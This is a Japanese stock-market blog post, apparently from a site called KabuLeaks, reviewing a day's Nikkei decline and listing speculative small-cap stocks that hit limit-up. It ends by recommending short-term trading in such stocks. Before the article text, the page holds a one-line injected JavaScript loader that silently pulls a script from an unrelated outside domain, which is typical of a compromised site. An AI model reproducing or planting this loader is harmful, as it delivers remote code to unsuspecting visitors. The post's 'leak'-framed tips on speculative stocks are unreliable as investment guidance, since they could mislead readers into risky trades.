;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/14 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/14 大引け】

本日の日経平均株価は114円安と反落。後場は一段安と後場寄りはやや買い先行も、その後は戻りの弱さから再度下げ幅を拡大。また、その後も戻りの弱さから日銀によるETF買いが行なわれてないとの観測もあり終盤にかけて本日の安値を更新した。業種別では、値上がりは保険業、不動産業、陸運業の3業種のみ。値下がりは海運業、石油石炭製品、鉱業などが上位に並んだ。

個別では、仕手株、値動きの軽さ魅力の【4779】ソフトブレーンが久々の資金流入でストップ高まで買われたほか、バラスト水処理関連の一角の【9127】玉井商船も後場ストップ高に。また、、「速増殖炉もんじゅ」の一部報道受け【6378】木村化工機や中小型株の一角【6668アドテック プラズマなどが一時ストップ高まで買われた。

その他、いちよし証券が国内スーパーやコンビニの設備投資需要の高まりから営業増益が続く指摘した【6405】鈴茂器工が大幅上昇。決算好感の【6630ヤーマンは大幅高の連日の大幅高で年初来高値を更新した。一方で直近、ゲームショウ直前、出尽くし警戒と書いたが、案の定後場にかけてVR関連は軒並み急落。ストップ安など付ける銘柄も多くひと相場終わった印象だ。

来週の日米金融イベントまでは引き続き方向感に欠ける展開を想定。短期売買をメインにした立ち回りを意識。新たに浮上、人気を集めるバラスト水処理関連やフィンテックサミットを控えたフィンテック関連など注目、引き続き仕手性強い材料株、中小型株狙いで上手く回転させいくと良いと思う。